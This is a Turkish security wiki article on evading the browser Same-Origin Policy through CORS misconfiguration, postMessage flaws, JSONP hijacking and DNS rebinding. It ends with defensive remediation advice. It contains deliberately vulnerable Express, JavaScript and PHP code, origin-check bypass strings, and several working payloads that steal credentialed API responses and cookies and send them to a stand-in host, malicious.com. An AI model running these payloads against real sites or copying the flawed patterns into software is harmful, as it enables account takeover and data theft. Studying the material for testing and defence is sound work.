AltaySec Wiki SOP (Same-Origin Policy) Evasions   ·   AltaySec Araştırmalar

SOP (Same-Origin Policy) Evasions

root@altaysec:~# whoami
> Yazar: Emre Ermenek

Modern web uygulamalarının güvenlik temelini oluşturan Same-Origin Policy (SOP), bir origin (URI Scheme, Hostname ve Port üçlüsü) üzerindeki web sayfasının, farklı bir origin üzerindeki verilere yetkisiz okuma (read) erişimi yapmasını engelleyen kritik bir tarayıcı (browser) güvenlik mekanizmasıdır. Red Team operasyonlarında SOP, aşılması veya etrafından dolanılması (evasion) gereken en büyük bariyerlerden biridir. Zira Cross-Site Request Forgery (CSRF) gibi zafiyetler "yazma/tetikleme" (write/execute) işlemlerine izin verse de, hedef sistemden hassas veri (PII, session token, API response) çekmek için okuma (read) yetkisi gereklidir ve bu yetki SOP tarafından kısıtlanır.

SOP Evasion teknikleri; hedefin CORS (Cross-Origin Resource Sharing) miskonfigürasyonlarını, hatalı postMessage implementasyonlarını, JSONP zafiyetlerini, tarayıcı parsing farklılıklarını ve DNS Rebinding gibi network seviyesi manipülasyonlarını kullanarak bu izolasyon duvarını yıkmayı amaçlar. Modern mimarilerde mikroservisler ve third-party entegrasyonlar arttıkça, SOP'u esnetmek için kullanılan mekanizmalar (CORS, postMessage) genellikle hatalı yapılandırılmakta, bu da Exploit Developer'lar için kritik veri hırsızlığı (Data Exfiltration) ve Account Takeover (ATO) senaryolarına kapı aralamaktadır.

How It Works (Teknik Analiz)

SOP, bir hedefe yapılan HTTP isteklerinde tarayıcının kimlik doğrulama bağlamını (Cookies, HTTP Auth vb.) otomatik olarak eklemesi prensibiyle çalışır. Eğer SOP olmasaydı, malicious.com üzerinde çalışan bir JavaScript kodu, fetch('https://bank.com/balance') isteği atarak, kullanıcının bank.com oturumundaki finansal verilerini okuyabilirdi.

SOP Karar Mekanizması (Tuple Matching): Tarayıcı, iki URL'in aynı origin olup olmadığını belirlerken şu üçlüyü (tuple) kontrol eder:

  1. Protocol (Scheme): http:// vs https://
  2. Hostname (Domain): app.target.com vs api.target.com
  3. Port: :80 vs :8080

İstisnai durumlar: Internet Explorer (ve bazı eski Edge sürümleri) port numarasını origin hesaplamasına dahil etmez. Ayrıca document.domain kullanımı ile alt alan adları (subdomains) arasındaki origin kontrolü manuel olarak esnetilebilir.

SOP, okuma (read) işlemlerini (örneğin XHR/Fetch response, canvas pixel data, iframe DOM erişimi) engellerken, gömme (embed) işlemlerine (<script src>, <img>, <video>) ve yazma (write) işlemlerine (Form POST) izin verir. Bu kısıtlamaları esnetmek için sunucu tarafında CORS (Access-Control-Allow-Origin) ve istemci tarafında window.postMessage mimarileri devreye girer. Zafiyetlerin kök nedeni (Root Cause), bu esnetme mekanizmalarındaki "Trust Boundary" (Güven Sınırı) ihlalleridir.

Vulnerable Code Patterns

1. Hatalı CORS Implementasyonu (Regex/Reflection Flaw - Node.js/Express): Saldırgan origin'inin doğrudan kabul edildiği, yetersiz doğrulama içeren Backend kodu.

const express = require('express');
const app = express();

app.use((req, res, next) => {
    let origin = req.headers.origin;
    // ZAFİYET: "target.com" kelimesinin origin içinde geçmesi yeterli görülmüş.
    // Saldırgan "target.com.evil.com" kullanarak bunu atlatabilir.
    if (origin && origin.includes("target.com")) {
        res.header("Access-Control-Allow-Origin", origin);
        res.header("Access-Control-Allow-Credentials", "true"); // Kritik hata: Kimlik bilgilerine izin verilmiş
    }
    next();
});

app.get('/api/user_data', (req, res) => {
    res.json({ user: req.cookies.session_user, apiKey: "ak_12345secret" });
});

2. DOM-Based XSS via postMessage (Frontend - JavaScript): Origin kontrolünün eksik veya hatalı yapıldığı istemci tarafı mesaj dinleyicisi.

window.addEventListener('message', function(event) {
    // ZAFİYET: event.origin kontrolü HİÇ YAPILMAMIŞ veya hatalı.
    // Herhangi bir origin bu pencereye mesaj gönderebilir.
    let data = event.data;
    
    if (data.type === 'updateProfile') {
        // ZAFİYET: Gelen veri doğrudan DOM'a veya sink'e yazılıyor. (DOM XSS)
        document.getElementById('profileDiv').innerHTML = data.htmlContent; 
    } else if (data.type === 'exec') {
        // Tehlikeli sink kullanımı
        eval(data.command);
    }
});

3. JSONP (JSON with Padding) Callback Injection (Backend - PHP): Kullanıcı girdisinin doğrudan JavaScript fonksiyonu olarak çalıştırıldığı eski tip SOP esnetme tekniği.

<?php
header('Content-Type: application/javascript');
// ZAFİYET: 'callback' parametresi sanitize edilmeden doğrudan output'a yazılıyor.
$callback = $_GET['callback'];
$data = array("id" => 1, "email" => "[email protected]", "role" => "admin");
$json_data = json_encode($data);

// Çıktı: malicious_func({"id":1,...})
echo $callback . '(' . $json_data . ');';
?>

Detection & Enumeration (Keşif ve Analiz)

SOP Evasion ve CORS zafiyetlerini tespit etmek için black-box metodolojisinde iteratif HTTP header modifikasyonları ve statik JavaScript analizi gereklidir.

  1. Origin Reflection Fuzzing: Hedef API uç noktalarına manipüle edilmiş Origin header'ları gönderilerek Access-Control-Allow-Origin (ACAO) ve Access-Control-Allow-Credentials (ACAC) yanıtları incelenir.
  2. Preflight (OPTIONS) Analizi: Özel header'lar (örn. X-Custom-Header) veya standart dışı metodlar kullanılarak sunucunun OPTIONS isteklerine verdiği CORS konfigürasyon yanıtları (Access-Control-Allow-Methods, Access-Control-Allow-Headers) parse edilir.
  3. postMessage Listener Keşfi: Geliştirici araçları (DevTools) veya özel eklentiler (örn. Posta) kullanılarak DOM üzerindeki message event listener'ları statik ve dinamik olarak analiz edilir. Hedef JavaScript dosyalarında window.addEventListener('message', ...) pattern'ı aranır.
  4. Dinamik DOM Analizi: İlgili postMessage handler'ına breakpoint koyularak (Debugger), gelen verinin hangi Sink noktalarına (innerHTML, eval, location.href) ulaştığı takip edilir.

Attack Vectors & Exploitation (İstismar Vektörleri)

SOP izolasyonunu atlatmak için kullanılan temel istismar zincirleri aşağıda detaylandırılmıştır.

CORS Misconfiguration: Arbitrary Origin Reflection

En yaygın CORS zafiyetidir. Sunucu, gelen istekteki Origin header'ını okur ve herhangi bir doğrulama yapmadan doğrudan Access-Control-Allow-Origin response header'ına kopyalar. Access-Control-Allow-Credentials: true ile birleştiğinde saldırgan, kurbanın session'ı ile hedeften veri okuyabilir.

CORS Misconfiguration: Null Origin Allowed

Geliştiriciler, local geliştirme ortamlarını desteklemek veya bazı internal sistemlerin çalışması için Origin: null değerini whitelist'e alır. Saldırganlar, sandboxed iframes (<iframe sandbox="allow-scripts allow-forms">) veya data: URI'leri kullanarak Origin header'ını null olarak üretir ve SOP'u aşar.

CORS Misconfiguration: Weak Regex & Prefix/Suffix Match

Eğer sunucu origin'i Regex veya string metotlarıyla (örn. startsWith, endsWith, indexOf) kontrol ediyorsa, bu mantık hataları istismar edilebilir.

DOM-Based XSS & Data Theft via postMessage

SOP, cross-origin pencerelerin DOM'una müdahaleyi engeller ancak pencereler arası haberleşme için HTML5 ile postMessage API'si getirilmiştir. Eğer hedef uygulama:

  1. Gelen mesajın kimden geldiğini (event.origin) kontrol etmiyorsa.
  2. Kontrol etse bile yukarıdaki gibi zayıf bir string analizi yapıyorsa.
  3. Mesaj içeriğini tehlikeli bir DOM fonksiyonuna aktarıyorsa, saldırgan zararlı bir iframe oluşturup hedefe postMessage göndererek DOM XSS veya CSRF tetikleyebilir.

JSONP Hijacking (XSSI - Cross-Site Script Inclusion)

JSONP, SOP öncesi dönemde cross-origin veri çekmek için kullanılan bir "hack"tir. <script> tag'leri SOP'a tabi olmadığı için, saldırgan kendi sitesinde <script src="https://api.target.com/data?callback=stealData"></script> tag'i oluşturur. Kullanıcı saldırganın sitesini ziyaret ettiğinde, api.target.com kullanıcının cookie'si ile çağrılır ve dönen JSON verisi saldırganın tanımladığı stealData fonksiyonuna parametre olarak düşer.

DNS Rebinding

Eğer uygulama IP tabanlı kısıtlamalar yapıyorsa (örn. SSRF koruması için internal IP'leri engelleme veya sadece belirli origin'lere izin verme), DNS Rebinding ile tarayıcı kandırılır.

  1. Saldırgan attacker.com alan adı için DNS TTL değerini çok düşük (örn. 1 saniye) ayarlar.
  2. Kurban siteyi ziyaret ettiğinde DNS ilk olarak saldırganın external IP'sini döner.
  3. Tarayıcı attacker.com origin'i altında saldırganın JavaScript kodunu çalıştırır.
  4. JS kodu setInterval ile attacker.com'a veri istekleri atmaya başlar.
  5. Birkaç saniye sonra TTL süresi dolar, saldırganın DNS sunucusu artık attacker.com için hedefin Internal IP'sini (örn. 127.0.0.1 veya 192.168.1.100) döner.
  6. Tarayıcı önbelleği dolduğu için yeni IP'ye bağlanır. Ancak Origin hala http://attacker.com olduğu için SOP devreye girmez ve saldırgan internal ağdaki veriyi okuyup exfiltrate edebilir.

document.domain Subdomain Takeover Chaining

document.domain özelliği, iki farklı subdomain'in SOP kurallarını kendi aralarında iptal etmesini sağlar (örn. app.target.com ve shop.target.com, ikisi de document.domain = "target.com" yaparsa birbirlerinin DOM'unu okuyabilir). Eğer hedefin herhangi bir unutulmuş veya ele geçirilebilir (Subdomain Takeover) alt alan adı varsa, saldırgan bu alt alan adını ele geçirir, içine document.domain = "target.com" yazan bir JS koyar ve ana alan adındaki (main domain) tüm session/DOM verilerini ele geçirir.

Payloads & Advanced Commands

Arbitrary Origin & Credentials CORS Payloads

Saldırganın sunucusunda (malicious.com) barındırılan ve hedef kullanıcının verilerini sızdıran XHR ve Fetch payload varyasyonları:

Varyasyon 1: Klasik XMLHttpRequest (XHR) Data Exfiltration

var req = new XMLHttpRequest();
req.onload = function() {
    // Hedef API'den dönen veriyi (JSON/HTML) saldırganın sunucusuna gönder (Exfiltration)
    var exfil = new XMLHttpRequest();
    exfil.open("POST", "https://malicious.com/log", true);
    exfil.send(this.responseText);
};
// withCredentials true ile hedefin session cookie'leri isteğe dahil edilir
req.open("GET", "https://api.target.com/v1/user/private_data", true);
req.withCredentials = true;
req.send();

Varyasyon 2: Modern Fetch API Data Exfiltration

fetch('https://api.target.com/v1/user/private_data', {
    method: 'GET',
    credentials: 'include' // Kritik: SOP Evasion için session'ı dahil et
})
.then(response => response.text())
.then(data => {
    fetch('https://malicious.com/log?data=' + btoa(data));
})
.catch(err => console.log(err));

Null Origin CORS Bypass Payloads

Sunucu Origin: null değerini kabul ediyorsa, tarayıcıda null origin üreten yapılar kullanılmalıdır.

Varyasyon 3: Sandboxed Iframe Yöntemi Aşağıdaki kod saldırganın sunucusunda HTML olarak barındırılır. İframe sandbox özelliği ile oluşturulduğu için içindeki script'in Origin header'ı tarayıcı tarafından zorunlu olarak null yapılır.

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,
<script>
    var req = new XMLHttpRequest();
    req.onload = function() {
        fetch('https://malicious.com/log', {method: 'POST', body: this.responseText});
    };
    req.open('GET', 'https://api.target.com/sensitive', true);
    req.withCredentials = true;
    req.send();
</script>">
</iframe>

Varyasyon 4: Data URI Redirection Yöntemi

// Doğrudan window.location.href üzerinden tetiklenen Data URI
window.location.href = "data:text/html,<script>var xhr=new XMLHttpRequest();xhr.open('GET','https://api.target.com/data',true);xhr.withCredentials=true;xhr.onload=function(){fetch('https://malicious.com/log?val='+btoa(xhr.responseText));};xhr.send();</script>";

postMessage Exploitation Payloads

Hedefteki zayıf bir message listener'ı istismar etmek için saldırgan sayfasından hedef sayfaya/iframe'e gönderilen zararlı mesajlar.

Varyasyon 5: Iframe üzerinden Payload Gönderimi (DOM XSS)

<iframe id="targetFrame" src="https://target.com/vulnerable_page"></iframe>

<script>
    window.onload = function() {
        var frame = document.getElementById('targetFrame').contentWindow;
        
        // Hedefteki zayıf handler'a göre payload hazırlanır
        // Örn: innerHTML sink'i için img on-error payload'u
        var exploitData = {
            type: "updateProfile",
            htmlContent: "<img src=x onerror=fetch('https://malicious.com/log?c='+document.cookie)>"
        };
        
        // Hedefin Origin kontrolü zayıfsa ('*' veya regex bypass) mesaj işlenir
        frame.postMessage(exploitData, '*');
    };
</script>

Varyasyon 6: Window.Open ile postMessage Gönderimi (Iframe Koruması Varsa) Eğer hedefte X-Frame-Options: DENY varsa iframe kullanılamaz. Bu durumda window.open kullanılır.

var targetWindow = window.open('https://target.com/vulnerable_page');

setTimeout(function() {
    targetWindow.postMessage('{"action":"exec","command":"alert(document.domain)"}', '*');
}, 2000); // Sayfanın yüklenmesi için beklenir

JSONP/XSSI Payloads

Eski model callback zafiyetlerini istismar ederek JSON verisini çalmak.

Varyasyon 7: Callback Function Hijacking

<script>
    // 1. Kurban verisini okuyup saldırgana iletecek fonksiyonu tanımla
    function exfiltrate(data) {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https://malicious.com/stolen_json", true);
        xhr.setRequestHeader("Content-Type", "application/json");
        xhr.send(JSON.stringify(data));
    }
</script>
<script src="https://api.target.com/getUserData?callback=exfiltrate"></script>

Bypass & Obfuscation (Atlatma Teknikleri)

Backend'de kurgulanan hatalı Regex ve string doğrulama algoritmalarını (WAF/IDS kuralları dahil) aşmak için kullanılan ileri düzey hileler:

  1. Prefix/Suffix Bypass: Eğer regex ^https://target\.com şeklinde bitiş (end of string $) işareti olmadan yazılmışsa:
    • Payload: https://target.com.attacker.com
  2. Special Character (URL Parsing) Bypasses: Tarayıcı ve Backend dillerinin (Node.js, PHP, Python) URL'leri farklı parse etmesini (URL Confusion) kullanmak:
    • https://[email protected] (Tarayıcı için host attacker.com'dur, credentials target.com'dur. Ancak hatalı yazılmış regex bunu geçerli sanabilir).
    • https://attacker.com/?q=target.com
    • https://target.com.evil.com
  3. Punycode & Unicode Bypasses: Eğer IDN (Internationalized Domain Names) destekleniyorsa, görsel olarak benzer karakterler kullanılabilir.
    • target.com yerine tärgët.com (Punycode: xn--trgt-boa2a.com). Backend ASCII kontrolü yapıyorsa yanılabilir.
  4. Double Encoding / Line Feed: Özellikle HTTP Response Splitting veya CORS header injection durumlarında, Origin header'ı manipüle edilebilir.
    • Origin: https://target.com%0d%0aAccess-Control-Allow-Origin: *

Remediation & Prevention (Önleme ve Savunma)

SOP'un sağladığı güvenliği ihlal etmemek için mimari düzeyde alınması gereken Blue Team / DevSecOps önlemleri:

  1. CORS Yapılandırmasında Kesinlik:
    • Asla Access-Control-Allow-Origin: * ile Access-Control-Allow-Credentials: true birlikte kullanılmamalıdır (Zaten modern tarayıcılar bunu engeller, ancak wildcard mantığı regex ile simüle edilmemelidir).
    • Dinamik Origin üretimi yerine, izin verilen Origin'ler Backend üzerinde kesin bir Array/List (Whitelist) olarak tutulmalıdır.
    • Origin: null değeri ASLA whitelist'e eklenmemelidir.
  2. postMessage Güvenliği:
    • Alıcı taraf (Receiver): Gelen mesajı işlemeden önce event.origin değeri KESİNLİKLE whitelist ile "tam eşleşme" (exact string matching ===) yapılarak doğrulanmalıdır.
    • Gönderici taraf (Sender): postMessage(data, targetOrigin) kullanırken, targetOrigin parametresi asla * yapılmamalı, hedefin exact origin'i yazılmalıdır.
  3. JSONP ve document.domain Terki:
    • JSONP kullanımı tamamen kaldırılmalı, modern CORS architecture kullanılmalıdır.
    • document.domain atamaları modern tarayıcılarda zaten "Origin-Keyed Agent Clusters" ile engellenmeye başlanmıştır. Bu kod blokları sistemden temizlenmeli, yerine postMessage kullanılmalıdır.
  4. Network Düzeyi (DNS Rebinding) Önlemleri:
    • Internal servisler, gelen HTTP request'lerindeki Host header'ını doğrulamalıdır. Sadece beklenen internal host/IP istekleri işlenmeli, harici veya bilinmeyen bir host geldiğinde reject edilmelidir.

Common Tools & Frameworks

Aşağıdaki araçlar, sızma testi esnasında SOP esnetmelerini ve konfigürasyon hatalarını tespit/istismar etmek için yaygın olarak kullanılır.

Araç Fonksiyon Komut Örneği
CORScanner Hatalı CORS konfigürasyonlarını tarayan Python aracı. python cors_scan.py -u https://target.com
CORS-Me Go ile yazılmış, hızlı ve eşzamanlı CORS miskonfigürasyon tarayıcısı. corsme -u https://api.target.com
Burp Suite (CORS extension) Dinamik proxy üzerinde Origin header'ını otomatik fuzzing yaparak ACAC response'larını tespit eder. (Burp BApp Store -> CORS Scanner)
Posta Chrome eklentisi. İstemci tarafındaki postMessage trafiklerini yakalar, analiz eder ve replay saldırıları yapar. (Chrome Extensions -> Posta / DOM Invader)
Singularity DNS Rebinding saldırılarını otomatize eden framework. Özel DNS sunucusu kurarak hedefin internal ağına erişim sağlar. singularity-server -port 8080
DOM Invader (PortSwigger) Burp Suite'in tarayıcı eklentisi. postMessage ve DOM XSS sink'lerini dinamik olarak test eder ve canary token'lar kullanır. (Burp Proxy -> Intercept -> DOM Invader Enable)

Yazar: Emre Ermenek · AltaySec Wiki — Türkçe güvenlik playbook'u.

← Tüm modüller (interaktif wiki) · Yapay zekâ güvenliği araştırmaları · AltaySec Arşiv